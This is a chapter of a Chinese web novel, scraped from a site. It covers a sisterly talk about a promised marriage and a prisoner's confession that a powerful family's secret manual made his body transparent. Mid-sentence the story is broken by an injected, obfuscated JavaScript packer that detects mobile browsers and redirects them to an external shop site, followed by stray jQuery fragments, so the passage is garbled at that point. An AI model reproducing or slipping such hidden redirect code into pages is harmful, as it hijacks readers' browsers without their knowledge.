“这石头真是从昆仑山上找来的?”知意戳了戳江寻月带回的这块青白玉,其实仔细瞧看,确实比平常见的玉石要细腻透润得多。


    “那当然是真的!”江寻月喜滋滋地将昆山玉捧在自己手心,作出极为珍视的样子。


    知意依旧狐疑:“你就没问问他怎么怎么弄到手的?”


    “我问过了啊。”于是江寻月把吴霄汉说的原原本本复述了一遍。


    那天他在习武场足足练了一整天,练得连手臂都抬不起了,自己走到河水处洗了把脸就躺下歇息。


    但就这样抬头望天时,吴霄汉的视线里突然出现了一个老者,那老者问他,是不是在找寻世间绝无仅有的珍宝。


    吴霄汉觉得奇怪,坐起了身,但也没理这个老人,直到老人再对他说:“只要你能坚持每天对着祠堂里边的牌位磕三个头,不出十天,就能得到你想要的。”


    “但须谨记一句,心诚则灵。”


    老者说完就自顾自走了。


    吴霄汉听完却呆愣在了原地。但想着磕几个头也不费事,便照着老人说的去做了。


    十日之后,家中祠堂前边的石桌上,果真出现了他心心念念的昆山玉。


    他问了附近洒扫的几个侍者,都说前一晚桌上并没有这块玉石。


    那真像是凭空出现的一般。


    吴霄汉惊讶得嘴都合不拢,拿在手里瞧看好久,又反复摩挲这块玉石,又找人鉴察了一番,确定绝非凡品。


    吴霄汉喜不自胜,与江寻月的诺言终于有了着落。


    终于等到了乞巧节这天,他将昆山玉交给了江寻月,其余的便不用多说了。


    知意全程听完,表情可称得上是惊恐:“他遇到的真是人类吗?”


    江寻月哈哈一笑,揽着知意说:“别管这么多了,总之好东西是被我拿到手了。”


    知意恍惚间记起,阿月答应他的承诺。


    她问:“那,你当真要答应嫁他了?”


    语毕,房内却始料未及地安静了下来,江寻月笑容一僵,低下了头。


    知意是不安的,若阿月当真欣喜,那被问到时也不该是这样反应。


    对于礼物来说,更重要的不是送礼的那个人么?


    慢慢地,江寻月终于抬起了头,望着知意一字一句说道:“既然我承诺了,但当然是会做到的。”


    “那为什么......我觉得你并不高兴啊。”知意坦然吐言。


    “我是喜欢他的。”


    “我只是不确定会不会得到幸福,”江寻月笑笑,“但谁叫我已经答应下来了呢。”


    “何况,我身后还有濛濛你不是么。”江寻月将双手搭在了知意的肩上,面上依旧在笑,却夹杂着一丝苦味。


    “若我是幸福的,那濛濛你也能得到幸福;若我只得到了不幸,那你便不会再蹈覆辙了。”


    “那怎么可以......”知意抽身后退,甩脱了她的手。


    “男婚女嫁,绸缪束薪,谁能说得准呢?”因方才的动作,江寻月又离知意远了些,好像孤零零地站在原地。


    “只是因为生我养我的爹娘他们是相爱的,我才愿意踏出这一步。”


    “那我宁愿你比我幸福。”知意不知所措,明明她最好的阿月就在近前,却仿佛离她很远了。


    “谁让我是姐姐呢。”江寻月又凑近,轻缓地抚上她的眼睛,温柔得不像话。


    她拥住知意,仿佛又回到了小时候,对方还是那个唤着“阿月姐姐”、和自己玩耍的小童。


    -


    令卫言齐感到奇怪的是,仅仅一夜过后,初六竟对所有罪行都供认不讳,言明皆是他一人所为。


    明明在现场时还一幅事不关已的模样,只道自己一概不知。


    但问到一些细节时,他却明显迟疑了多次。


    难道这样一个连天子都震怒的大案子,最终就由一个名姓都不清楚的草民认罪而了结?


    就只是因为烟花提前遇到了火种而已?


    但让卫言齐印象深刻的,还是初六反复询问他的,师父的近况。


    若等到最终判决敲定,他估计将面临数年徒刑与长远流刑的累加。即使是这样,也放心不下师父吗?


    李知意没忍心告诉他的,卫言齐同样也下不了决心。


    但在大是大非面前,优柔寡断反而是错的。


    在他说出齐敬先已死的消息后,一时之间也无法想象面前的人该是什么反应。


    昏暗的审讯室内,初六先是错愕,再是不可置信,后又变作沉默无言。


    “此话当真?”


    卫言齐闭上眼,点了点头。


    良久,声声呜咽传入在场之人耳中。


    卫言齐一直注视着他。初六从不敢有情绪,到不受控制地大哭起来,成行的泪水从他的脸上滑落,仿佛永远流不尽。


    “都怪我,都怪我......”


    “我明知他老人家生了重病,偏还这么意气用事,出走这么多年。”混杂哭腔的话语声,分不清是悲伤更多还是悔恨更多。


    卫言齐耐心等到他稍微平复情绪后,慢慢走近,一手撑在桌案上,冷然问道:“现在能够说了吗?你的出身,还有你和你师父的过去。”


    面前人接近透明的皮肤,究竟缘何如此。


    “现在说这些有用吗?”初六现下扯出的一抹苦笑,隐隐带有几分绝望。


    “有没有用也不是你能说了算的。”卫言齐提醒他,该清楚自己现在的处境。


    “况且,你师父夙愿未成,难道你就眼睁睁看他老人家半辈子的苦劳尽付东流么?”


    这一句话仿佛直接击中了初六的眉心——师父的良苦用心,若是他能早些明白就好了。


    他本来是被父母抛弃的孩子,那个寒冬雪天,师父收留了尚在襁褓里的他。


    师父以他自己的所长教导他们,于是初六也跟着其他孩子一起,每天写写画画。


    但偏偏不巧的是,初六是个闹脱性子,读书写字对他来说实在是一种折磨,反而酷爱研究古怪刁钻的奇门秘术。


    其实师父那时并没有对于他的“不务正业”有什么意见,依旧待他很好,如同亲生孩子一般。


    而他学来的武术奇功,也让院子里们的孩子觉得十分新奇,根本挪不开眼。


    本来是怎么想都是一个合家欢的故事。直到某一天,有个人找上了初六,说他底子很好,若是将来好好打磨,定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759246|186128||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然前途无量。


    但师父听完话后,却很生气地将那人赶走了,初六当时并不晓得师父为什么会生气,心里还在做成为武林高手的美梦。


    后来他才知道,师父先前是认识那人的,并且不喜欢他。


    “那个人是?”卫言齐脑中冒出几个人名来,面上却等着初六的亲口回答。


    “是刘家的人。”初六吸了口气,艰难说出。


    果然。


    刘家的女儿做了皇后,地位自然不必多言。对当时的初六来说,已经是可望不可及的豪门大家了,着实给他下了一大跳。


    自己真的值得那样的贵人刮目相看吗?


    到后来他才明白,这完全是一场彻头彻尾的阴谋。


    卫言齐的眼光上下扫过:“所以你这一身,都是他们搞出来的?”


    “没错。”


    初六将其后发生的事缓缓道来。


    当时自己肯定茫然不解的,师父明明也教不了他想学的,为什么还不让自己出去学功夫呢?


    但想到师父对自己的好,初六只硬生生将那份不满压在了心底,对洒扫煮炊、照料姊妹这些事也干得更为起劲。


    后来,师父没有预料地生了重病,年纪最小的十五都守在床边,日夜侍奉。


    初六本是痛心不已,而这时,刘家的人却再次找到了他。


    那人说,凭刘家的医术,能保证让齐敬先的病痊愈,只要初六完成他们开出的条件。


    听到此处,卫言齐忍不住插话说道:“条件是拿你当试验品?”


    “是也不是,他们给了我一本封皮都破了的秘籍,让我照着上头的功法练,我欣然答应了。”


    刚开始的时候,初六每打出一套招式,便觉浑身神清气全,经络通透。


    同时也按时给初六专门的药丸,让其带回给齐敬先。


    初六见师父服下后,精神头好了许多,便高兴得有些飘飘然,世上真有这么两全其美的好事么?


    可后来,他们却不让初六再见齐敬先了。


    想起先前师父渐渐好转的病情,让初六答应下了刘家的要求。


    他依旧按书上记载的技法努力练习,毕竟本来就是自己选的路。


    可慢慢的,他发现自己原本结实的身体越来越软,皮肤也越来越苍白,连血管都清晰可见。


    再然后,干脆变得像水一般透明了,连阳光都能照穿过去,自然也不会有影子了。


    身体变软了,他的意识却比从前都要杂乱,性情也出奇的狂躁。


    直到有一天,他在街上突然发狂,中伤一名无辜行人。


    初六终于发觉了这本秘籍的不对劲,也明白了刘家的不良居心。


    但也再也没有脸面回去见他的师父了。


    “你先前在街上撞翻米缸也是为此。”卫言齐明白了前因后果,又话锋一转,“你跟刘家决裂了?”


    “没错。”初六忿忿回答。


    他没办法,好在手脚尚在,只有四处找活计做事。


    正巧的是,在乞巧节当天替酒楼店家运烟火过去,工钱比平日多了三成。


    可刘家不愿就此放过他,免不了从中做些手脚,这场爆炸,怕就是他们的手笔。